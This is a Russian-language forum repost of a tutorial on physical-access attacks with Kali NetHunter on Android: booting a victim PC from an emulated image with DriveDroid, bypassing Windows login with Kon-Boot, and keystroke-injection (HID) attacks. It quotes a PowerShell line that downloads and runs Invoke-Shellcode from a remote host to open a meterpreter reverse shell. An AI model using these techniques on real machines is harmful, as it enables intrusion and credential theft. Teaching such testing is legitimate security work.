[Информационная безопасность, Тестирование мобильных приложений] Kali Linux NetHunter на Android Ч.3: нарушение дистанции

Автор Сообщение
news_bot ®

Стаж: 6 лет 9 месяцев
Сообщений: 27286

Создавать темы news_bot ® написал(а)
31-Июл-2020 20:39


Приветствую тебя, мой читатель! Надеюсь, что предыдущие части (первая и вторая) из цикла статей про Nethuter тебе понравились. Сегодня мы сосредоточим внимание на атаках, когда сам атакующий имеет непосредственный (физический) доступ к компьютеру жертвы. Итак, поехали.
DriveDroid
DriveDroid — приложение, которое позволяет вашему устройству прикидываться CD/DVD-приводом или USB-флешкой. Оно не входит в состав Nethunter, но находится в магазине приложений Nethunter (в Play Market, кстати, тоже есть). И естественно, приложение требует для работы root-права.
С помощью DriveDroid можно эмулировать ISO- и IMG-файлы образов. Также приложение умеет создавать пустые файлы-образы фиксированного размера (задается пользователем) и эмулировать их с возможностью чтения/записи, что пригодится нам чуть дальше.
При первом запуске приложение необходимо настроить. Последовательно будут отображены экраны, на каждом из которых надо будет совершить определенное действие: предоставить root-права, указать директорию для образова, выбор системы работы с USB, и т.д. В целом настройка напоминает старый принцип “далее-далее-далее-ок”, поэтому останавливаться на ней не будем. Добавлю только, что если монтирование проходит некорректно, нужно поменять систему работы с USB, там было несколько вариантов на выбор (более предпочтительный вариант находится сверху).


Рис.1. Настройка и интерфейс DriveDroid.
Теперь мы можем монтировать различные образы и загружаться с них. Изначально доступен только один тестовый образ “Drive Droid Boot Tester”. При нажатии на него появляется несколько вариантов монтирования:
  • как флешку в режиме чтения,
  • как флешку в режиме чтение/запись,
  • как привод с оптическим диском.

Выбираем любой понравившийся вариант для монтирования (я выбирал “read-only usb”), перезагружаем компьютер, в BIOS меняем приоритет загрузки устройств, чтобы загрузка с внешних устройств была предпочтительнее (да-да, точно как с переустановкой Windows:) ). Если все сделано правильно, то компьютер загрузится с эмулированного тестового образа (ты сразу поймешь, что это именно он).

Рис.2. Экран загрузки с тестового образа DriveDroid.
Данное приложение позволяет нам на компьютере жертвы загрузиться через какой-нибудь LiveCD и, если на машине не установлено шифрование жесткого диска, скачать нужные файлы. В принципе, можно выполнить любое действие, которое позволяет эмулированный LiveCD: выполнить проверку на вирусы, переразметить разделы, установить ОС и другие возможные варианты.
Особо хочется отметить средство Kon-Boot, которое позволяет обходить авторизацию на Windows и Mac машинах. Release note для Windows тут и для Mac тут. Утилита для Windows в последних версиях даже умеет обходить онлайн авторизацию на Windows 10. Но не стоит сильно радоваться, так как утилита платная, и ее стоимость начинается от 25$ за персональную лицензию для одной из ОС. Придется потрясти любимую свинью-копилку. Алгоритм использования прост:
  • Монтируем образ утилиты с помощью DriveDroid;
  • Загружаемся с него (изменяем приоритет загрузки в BIOS, если понадобится), потом загрузчик Kon-Boot начинает запуск Windows;
  • Выбираем любого пользователя и заходим под ним с пустым паролем.

Видео с демонстрацией работы (не мое) можно посмотреть тут.

User experience

SPL
Я тестировал работу утилиты (Kon-Boot 2.4) на Windows 7 home extended с последними обновлениями. Авторизация под локальным администратором проходила успешно. Правда немного пришлось повозиться с получением компактного образа для DriveDroid. Я создал пустой IMG-файл размером 30 Мб, примонтировал его через опцию “Writable USB”. Мой компьютер распознал его как обычную флешку, и через утилиту от разработчиков записал Kon-Boot на эту “флешку”-образ.

HID атаки
Nethunter имеет несколько встроенных инструментов для проведения HID-атак (human interface device). Для проведения данных атак необходим непосредственный доступ к атакуемой машине и возможность выполнения на ней некоторых действий (система должна быть разблокирована). HID-атаки воспринимаются системой, как легитимное поведение пользователя. Антивирусное ПО, как правило, на саму атаку не срабатывает, но может сработать на используемую нагрузку. Например, при загрузке вредоносного файла или при загрузке некодированного файла для проброса сессии meterpreter. Таким образом можно сократить время рутинных операций во время атаки, что крайне полезно в условиях ограниченного времени доступа к атакуемой машине.

Про язык ввода

SPL
Поскольку данные атаки имитируют нажатие клавиатуры, то они прекрасно работают там, где установлен только один язык ввода. И это, естественно, английский. Атакующему необходимо предусмотреть смену раскладки: прописать в скрипте (возможно для Ducky Script) или переводить язык вручную (для HID Attacks из приложения Nethunter). Иначе при запросе выполнения команды можно получить что-то типа этого:

Рис.3. Результат выполнения команды без предварительной смены раскладки.
Также, возможно, понадобится несколько раз менять раскладку. Например: первый раз на рабочем столе, второй раз — при запуске командной строки. Все это зависит от настроек на атакуемой машине.

Ducky Script
Ducky Script — скриптовый язык, с помощью которого можно составить сценарий действий, выполняемых от имени пользователя. Подключенное устройство с программой-интерпретатором посылает сигналы на компьютер, имитируя ввод с клавиатуры и мыши. Ducky Script используется для устройства USB Rubber Ducky (сейчас на Amazon стоит порядка 120$).

Рис.4. Комплект устройства USB Rubber Ducky.
В Nethunter есть встроенный интерпретатор (приложение NetHunter — вкладка “DuckHunter HID”), но заставить его корректно работать у меня не удалось.

Рис.5. Nethunter — DuckHunter HID.
Зато в NetHunter Store есть приложение Rucky (v 1.9), которое также является интерпретатором Duck Script. Приложение прекрасно отправляет ввод с клавиатуры и нажатия клавиш, но указатель мыши у меня так и не начал двигаться.
Открываем приложение Rucky, пишем скрипт на запуск Chrome со ссылкой и запускаем.

Рис.6. Rucky. Скрипт запуска Chrome.

Как выполнение Ducky Script выглядит на машине.

Вот здесь собраны примеры скриптов. Быстро установить на обои хот-доги или украсть пароли из Chrome и отправить на email… Возможности есть на все, на что фантазии хватит!
HID Attacks
В приложении Nethunter есть вкладка HID Attacks. Атаки из этой группы работают по принципу «устройство имитирует ввод с клавиатуры», но ориентированы они на определенные паттерны. Плюсом является то, что есть опция UAC Bypass (для Win7, Win8, Win10), при использовании которой командная строка запускается от администратора. Соответственно, вы должны быть залогинены, как минимум под локальным администратором, чтобы не пришлось вводить данные учетной записи администратора.

Рис.7. UAC bypass.

Что сделать, чтобы заработали атаки

SPL
Для того, чтобы атаки заработали, необходимо подключить устройство как MIDI.

Рис.8. Подключение устройства как MIDI.

Рассмотрим паттерны в HID Attacks.
Powersploit
Данный паттерн ориентирован на запуск Powershell скрипта с удаленной машины, который должен пробросить meterpreter shell с атакуемой машины.

Рис. 9. Nethunter-HID Attacks-PowerSploit.

Рис. 10. Результат выполнения в командной строке.
iex (New-Object Net.WebClient).DownloadString("http://192.168.1.45:80/Invoke-Shellcode.ps1"); Invoke-Shellcode -Payload windows/meterpreter/reverse_http -Lhost 192.168.1.45 -Lport 8080 -Force

Результат декодирования BASE64 строки.
Как видно из скриншота, атака у меня не удалась из-за проблем выполнения скрипта. По указанным параметрам я определил, что скорее всего должен использоваться Invoke-Shellcode.ps1 из репозитория EmpireProject. Cкрипт Invoke-Shellcode.ps1 или репозитория PowerSploit обновлен и в нем нет параметра Payload. Использование старой «подходящей» версии скрипта представлено на рис. 10.
В закодированной BASE64 строке представлены все наши параметры из окна приложения. Если что-то будете менять, не забудьте про кнопку “UPDATE” внизу, это важно.
Таким образом, ждем, пока разработчики обновят эту часть приложения Nethunter.
Windows CMD
Тут все просто. В данном паттерне запускается командная строка и последовательно выполняются команды, указанные в параметре скрипта. Также можно запускать командную строку от администратора, можно сохранять и загружать сохраненные скрипты. И не забываем про кнопочку “UPDATE”.

Рис. 11. Nethunter — HID Attacks — Windows CMD.

Рис. 12. Результат выполнения в командной строке.

Примечание

SPL
Первая строка должна начинаться с символа “*”, иначе пропадает первая буква команды. Например, вместо “ipconfig” будет введено “pconfig”. Вот просто потому что:)

Powershell HTTP Payload
Данный паттерн должен загружать powershell нагрузку и выполнять ее. Но он не заработал у меня вообще: при запуске атаки никакие действия не происходили, а логи веб-сервера, на котором был скрипт с нагрузкой, остались пусты.

Рис.13. Nethunter — HID Attacks — Powershell HTTP Payload.
И небольшой бонус для тех, кто дочитал :)
KeX manager
Полноценный десктопный интерфейс Kali Linux, да-да! Nethunter имеет встроенный VNC-сервер (Virtual Network Computing — система удалённого доступа к рабочему столу компьютера). Настраивается все очень просто. В приложени Nethunter во вкладке KeX Manager нажимаем на кнопку “SETUP LOCAL SERVER” и устанавливаем пароль для нашего сервера. Теперь нажимаем “START SERVER”, статус сервера изменился на “RUNNING”. Нажимаем на “OPEN KEX CLIENT”, вводим заданный ранее пароль, и у нас запускается десктопный интерфейс.

Рис.14. Настройка и подключение к VNC-серверу.

Рис.15. Результат подключения к VNC-серверу.
Если мы хотим подключиться с другого устройства, необходимо, чтобы галочка “Localhost Only” была снята и клиент мог “достучаться” до сервера. Перезапускаем сервер. И с помощью VNC-клиента на другом устройстве подключаемся, указав IP устройства Nethunter и порт 5901 (например, 192.168.1.3:5901). Потом вводим ранее установленный пароль, и вот мы подключились!

Рис.16. Результат подключения к VNC-серверу с другого устройства.

Примечание

SPL
Cудя по информации с этой страницы для безопасного (шифрованного) соединения лучше использовать VeNCrypt клиент.

На этом пока что все. Помни, все только в образовательных целях :) До скорого!

===========
Источник:
habr.com
===========

Похожие новости: Теги для поиска: #_informatsionnaja_bezopasnost (Информационная безопасность), #_testirovanie_mobilnyh_prilozhenij (Тестирование мобильных приложений), #_t.hunter, #_informatsionnaja_bezopasnost (информационная безопасность), #_bezopasnost (безопасность), #_security, #_cybersecurity, #_tutorial, #_mobile_apps, #_kali_net_hunter, #_kali_linux, #_android_apps, #_blog_kompanii_t.hunter (
Блог компании T.Hunter
)
, #_informatsionnaja_bezopasnost (
Информационная безопасность
)
, #_testirovanie_mobilnyh_prilozhenij (
Тестирование мобильных приложений
)
Профиль  ЛС 
Показать сообщения:     

Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы

Текущее время: 22-Ноя 14:32
Часовой пояс: UTC + 5